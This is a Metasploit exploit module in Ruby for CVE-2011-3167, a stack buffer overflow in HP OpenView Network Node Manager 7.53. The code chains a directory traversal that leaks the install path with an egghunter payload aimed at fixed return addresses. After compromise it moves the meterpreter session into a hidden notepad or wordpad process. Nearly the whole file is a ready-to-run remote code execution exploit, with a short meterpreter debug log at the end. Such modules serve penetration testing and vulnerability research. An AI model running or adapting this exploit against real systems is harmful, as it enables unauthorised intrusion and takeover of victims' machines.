require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/webappmon.exe', :pattern => /Hewlett-Packard Development Company/ }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Egghunter
def initialize(info={})
super(update_info(info,
'Name' => 'HP OpenView Network Node Manager ov.dll _OVBuildPath Buffer Overflow',
'Description'=> %q{
This module exploits a stack buffer overflow in HP OpenView Network Node
Manager 7.53 prior to NNM_01213 without the SSRT100649 hotfix. By specifying a long
'textFile' argument when calling the 'webappmon.exe' CGI program, an attacker can
cause a stack-based buffer overflow and execute arbitrary code.
The vulnerable code is within the "_OVBuildPath" function within "ov.dll". There
are no stack cookies, so exploitation is achieved by overwriting the saved return
address.
The vulnerability is due to the use of the function "_OVConcatPath" which finally
uses "strcat" in a insecure way. User controlled data is concatenated to a string
which contains the OpenView installation path.
To achieve reliable exploitation a directory traversal in OpenView5.exe
(OSVDB 44359) is being used to retrieve OpenView logs and disclose the installation
path. If the installation path cannot be guessed the default installation path
is used.
} ,
'Author' =>
[
'Anyway <Aniway.Anyway[at]gmail.com>',
'juan vazquez',
'sinn3r'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-3167' ],
[ 'OSVDB', '76775' ],
[ 'BID', '50471' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-002/' ],
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03054052' ]
],
'Payload' =>
{
'Space' => 950,
'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0b..0x23)].pack("C*") + [0x26, 0x2b, 0x3c, 0x3e, 0x5b, 0x5d, 0x5e, 0x60, 0x7e, 0x7f].pack("C*"),
'DisableNops' => true,
'EncoderOptions' =>
{
'BufferRegister'=> 'EDI'
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'HP OpenView Network Node Manager 7.53 / Windows 2000 SP4 & Windows XP SP3',
{
'Offset'=> 1067,
'Ret' => 0x5a41656a,
'JmpESP'=> 0x5a4251c5,
'EggAdjust' => 4,
'ReadableAddress' => 0x5a466930
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 01 2011'))
register_options(
[
Opt::RPORT(80),
], self.class)
end
def on_new_session(client)
if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to process migration.")
return
end
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
if client.sys.config.sysinfo["OS"] =~ /Windows XP/
windir = client.fs.file.expand_path("%ProgramFiles%")
cmd="#{windir}\\Windows NT\\Accessories\\wordpad.exe"
else
windir = client.fs.file.expand_path("%windir%")
if client.sys.config.sysinfo['Architecture'] =~ /x86/
cmd = "#{windir}\\System32\\notepad.exe"
else
cmd = "#{windir}\\Sysnative\\notepad.exe"
end
end
print_status("Spawning #{cmd.split("\\").last} process to migrate to")
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
target_pid = proc.pid
begin
print_good("Migrating to #{target_pid}")
client.core.migrate(target_pid)
print_good("Successfully migrated to process #{target_pid}")
rescue ::Exception => e
print_error("Could not migrate in to process.")
print_error(e.to_s)
end
end
def get_install_path
cgi = '/OvCgi/OpenView5.exe'
web_session = rand_text_numeric(3)
my_cookie = "OvOSLocale=English_United States.1252; "
my_cookie << "OvAcceptLang=en-US; "
my_cookie << "OvJavaLocale=en_US.Cp1252; "
my_cookie << "OvWebSession=#{web_session}:AnyUser:"
payload = "../../../log/setup.log"
res = send_request_cgi({
'uri' => cgi,
'cookie' => my_cookie,
'method' => "GET",
'vars_get' =>
{
'Target' => "Main",
'Scope' => "Snmp",
'Action' => payload
}
}, 5)
installation_path = ""
if res and res.code == 200 and
res.body =~ /([A-Z]:\\.*\\)log/
print_status("Installation Path Found in #{$1}")
installation_path = $1
else
print_status("Installation Path Not Found using the default")
installation_path = "C:\\Program Files\\HP OpenView\\"
end
return installation_path
end
def exploit
print_status("Trying target #{target.name}...")
install_path = get_install_path
install_path << "help\\English_United States.1252"
eggoptions = {
:checksum => true,
}
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
[ 'x86/alpha_mixed'].each { |name|
enc = framework.encoders.create(name)
if name =~/alpha/
if target["EggAdjust"] and target["EggAdjust"] > 0
enc_options = {
'BufferRegister' => 'ESP',
'BufferOffset' => target["EggAdjust"]
}
enc.datastore.import_options_from_hash(enc_options)
else
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
end
end
hunter = enc.encode(hunter, nil, nil, platform)
}
offset = target['Offset'] - install_path.length - egg.length
my_payload = egg
my_payload << rand_text_alphanumeric(offset)
my_payload << [target.ret].pack("V")
my_payload << rand_text_alphanumeric(4)
my_payload << [target["ReadableAddress"]].pack("V")
my_payload << [target["JmpESP"]].pack("V")
my_payload << hunter
buf = "-textFile+#{my_payload}+++++++++++++++++++++++"
buf << "-appendSelectList+-appendSelectListToTitle+%09%09++++++"
buf << "-commandHeading+%22Protocol+++++++++Port++++++++Service%22+++++++++++++++++++++++"
buf << "-dataLine+2+"
buf << "-commandTitle+%22Services%22+%09%09++++++"
buf << "-iconName+%22Services%22+++++++++++++++++++++++"
buf << "-cmd+rnetstat+"
buf << "-S"
web_session = rand_text_numeric(3)
my_cookie = "OvOSLocale=English_United States.1252; "
my_cookie << "OvAcceptLang=en-US; "
my_cookie << "OvJavaLocale=en_US.Cp1252; "
my_cookie << "OvWebSession=#{web_session}:AnyUser:"
cgi = '/OvCgi/webappmon.exe'
res = send_request_cgi({
'uri' => cgi,
'cookie'=> my_cookie,
'method'=> "POST",
'vars_post' =>
{
'ins' => 'nowait',
'sel' => rand_text_alphanumeric(15),
'app' => 'IP Tables',
'act' => 'Services',
'help' => '',
'cache' => rand_text_numeric(4)
},
'data' => "arg=#{buf}"
}, 3)
if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_line()
print_error(res.inspect)
end
end
handler
end
end
=begin
* migrate to %windir%/system32/notepad.exe fails on Windows XP SP3
meterpreter > run post/windows/manage/migrate
[*] Running module against HOME-F006222D6C
[*] Current server process: webappmon.exe (7064)
[*] Spawning notepad.exe process to migrate to
[-] Post failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
[-] Call stack:
[-] /projects/exploiting/trunk/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb:163:in `execute'
[-] (eval):80:in `create_temp_proc'
[-] (eval):49:in `run'
=end
